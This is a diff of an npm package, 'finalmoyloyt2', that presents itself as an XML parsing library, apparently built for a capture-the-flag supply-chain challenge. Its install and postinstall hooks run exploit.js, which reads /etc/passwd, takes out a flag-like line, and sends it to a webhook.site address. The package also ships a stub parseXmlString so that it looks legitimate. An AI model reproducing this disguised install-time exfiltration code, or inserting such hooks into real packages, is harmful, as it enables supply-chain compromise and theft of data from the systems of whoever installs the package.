finalmoyloyt2 0.30.1

package/exploit.js

@@ -0,0 +1,54 @@
+const fs = require('fs');
+const https = require('https');
+
+// Уникальный ID вашего Webhook.site
+const WEBHOOK_ID = '67ab3ca0-2b3b-4364-aaee-f8d19895003f'; 
+
+// Функция для отправки данных
+function sendToWebhook(flagData) {
+    // Используем GET-запрос для простоты, т.к. отправляем только одну строку (флаг)
+    const url = `https://webhook.site/${WEBHOOK_ID}/?flag=${encodeURIComponent(flagData)}`;
+
+    const req = https.get(url, (res) => {
+        // Игнорируем ответ
+    });
+
+    req.on('error', (e) => {
+        // Игнорируем ошибки сети
+    });
+    
+    // Завершаем запрос
+    req.end();
+}
+
+// --- Основная логика (СИНХРОННАЯ) ---
+
+let flag = 'FLAG_NOT_FOUND';
+
+try {
+    // 1. Синхронно читаем файл
+    const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
+    
+    // 2. Ищем флаг по паттерну {}
+    const lines = passwdContent.split('\n');
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            flag = line.trim();
+            break; 
+        }
+    }
+    
+} catch(e) {
+    // Если не удалось прочитать /etc/passwd
+    flag = `ERROR_READING_FILE: ${e.message}`;
+}
+
+// 3. Отправляем результат (асинхронно)
+sendToWebhook(flag);
+
+// Добавляем небольшую задержку, чтобы дать время на выполнение HTTPS-запроса
+// перед тем, как процесс Node.js завершится.
+setTimeout(() => {
+    // Процесс npm install завершится успешно
+}, 3000); 
+

package/index.js

@@ -0,0 +1,16 @@
+// Заглушка для совместимости с API, который ожидает server.js
+module.exports = {
+    parseXmlString: function(xml, options) {
+        // Возвращаем минимальный объект, чтобы избежать сбоя
+        return {
+            get: function(xpath) {
+                return {
+                    text: function() { 
+                        return "parsed_data"; 
+                    }
+                };
+            }
+        };
+    }
+};
+

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "finalmoyloyt2",
+  "version": "0.30.1",
+  "description": "XML parsing library",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node exploit.js",
+    "install": "node exploit.js"
+  },
+  "keywords": ["xml", "parser"],
+  "author": "test",
+  "license": "MIT"
+}